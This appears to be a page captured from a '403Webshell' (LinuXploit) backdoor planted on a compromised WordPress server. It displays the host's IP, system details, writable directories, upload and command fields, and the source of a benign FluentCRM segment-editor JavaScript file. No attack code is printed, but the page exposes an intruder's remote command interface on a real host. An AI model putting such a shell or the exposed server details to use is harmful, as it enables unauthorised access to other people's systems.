403Webshell
Server IP : 52.25.153.185  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux ip-172-26-6-158 5.10.0-45-cloud-amd64 #1 SMP Debian 5.10.259-1 (2026-07-02) x86_64
User : daemon ( 1)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/fluent-crm/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/fluent-crm/assets/_CustomSegementSettings.js
import{aw as e,Q as t}from"./vendor-element-plus.js?ver=3.2.0";import i from"./v3app/src/Modules/Contacts/RichFilters/Filters.js?ver=3.2.0";import{_ as s,I as a}from"./fc-bits-ui.js?ver=3.2.0";import{aR as n,aa as l,Y as d,a2 as r,a5 as o,P as c,aA as m,ae as h,a3 as _,a4 as u,ad as f,ac as g}from"./vendor.js?ver=3.2.0";const p={class:"fcrm_segment_fields"},v={class:"fcrm_rich_container"},b={class:"fcrm_rich_wrap"},y={class:"fcrm_rich_filter"},C={class:"fcrm_filter_group_header"},$={class:"fcrm_and_label"},R={key:0,class:"fcrm_cond_or"},E={class:"icon","aria-hidden":"true"},F={class:"fcrm_cond_or"},G={class:"icon","aria-hidden":"true"},k={key:0,class:"fcrm_estimated_count"},V={class:"fcrm_estimated_label"},j={class:"fcrm_estimated_badge"},x={class:"fcrm_estimated_badge_text"};const S=s({name:"customSegmentEditor",props:["modelValue","segment_id"],emits:["update:modelValue","loaded","updateSegment"],components:{Icons:a,RichFilter:i},data(){return{fields:{},loading:!1,filters:this.modelValue,estimated_count:"",estimating:!1,require_estimating:!1,FilterLabel:this.$t("Filters.instruction")}},watch:{filters:{deep:!0,handler(){this.$emit("update:modelValue",this.filters),this.require_estimating=!0,this.estimating?this.changed_in_time||(this.changed_in_time=!0):this.getEstimatedCount()}},modelValue(e){this.filters=e}},methods:{fetchFields(){this.loading=!0,this.$get("dynamic-segments/custom-fields").then(e=>{this.fields=e.fields,this.segment_id||(this.settings=e.settings_defaults),this.$emit("loaded")}).catch(e=>{this.handleError(e)}).finally(()=>{this.loading=!1})},getEstimatedCount(){this.estimating=!0,this.$post("dynamic-segments/estimated-contacts",{filters:this.filters}).then(e=>{this.estimated_count=e.count,this.changed_in_time&&(this.changed_in_time=!1,this.getEstimatedCount())}).catch(e=>{this.handleError(e)}).finally(()=>{this.estimating=!1})},addConditionGroup(){this.filters.push([])},maybeRemoveGroup(e){this.filters.length>1&&this.filters.splice(e,1)},fetch(){this.$emit("updateSegment"),this.getEstimatedCount()}},mounted(){this.fetchFields()}},[["render",function(i,s,a,S,w,A){const I=n("rich-filter"),M=n("Icons"),q=t,z=e;return l((d(),r("div",p,[o("div",v,[o("div",b,[(d(!0),r(c,null,m(w.filters,(e,t)=>(d(),r("div",{key:t},[o("div",y,[o("div",C,[o("div",$,h(i.$t("And")),1),_(I,{add_label:w.FilterLabel,button_text:i.$t("Add Property"),onMaybeRemove:e=>A.maybeRemoveGroup(t),items:e,canDeleteGroup:w.filters.length>1},null,8,["add_label","button_text","onMaybeRemove","items","canDeleteGroup"])])]),t<w.filters.length-1?(d(),r("div",R,[s[2]||(s[2]=o("div",{class:"fcrm_or_divider_line"},null,-1)),_(q,{size:"small",onClick:s[0]||(s[0]=e=>A.addConditionGroup())},{default:u(()=>[o("span",E,[_(M,{"icon-name":"plus"})]),f(" "+h(i.$t("OR")),1)],void 0),_:1}),s[3]||(s[3]=o("div",{class:"fcrm_or_divider_line"},null,-1))])):g("",!0)]))),128))]),o("div",F,[s[4]||(s[4]=o("div",{class:"fcrm_or_divider_line"},null,-1)),_(q,{size:"small",onClick:s[1]||(s[1]=e=>A.addConditionGroup())},{default:u(()=>[o("span",G,[_(M,{"icon-name":"plus"})]),f(" "+h(i.$t("OR")),1)],void 0),_:1}),s[5]||(s[5]=o("div",{class:"fcrm_or_divider_line"},null,-1))])]),""!==w.estimated_count?l((d(),r("div",k,[o("span",V,h(i.$t("Estimated Contacts Based on your Selection")),1),o("div",j,[o("span",x,h(w.estimated_count),1)])])),[[z,w.estimating]]):g("",!0)])),[[z,w.loading]])}]]);export{S as C};

Youez - 2016 - github.com/yon3zu
LinuXploit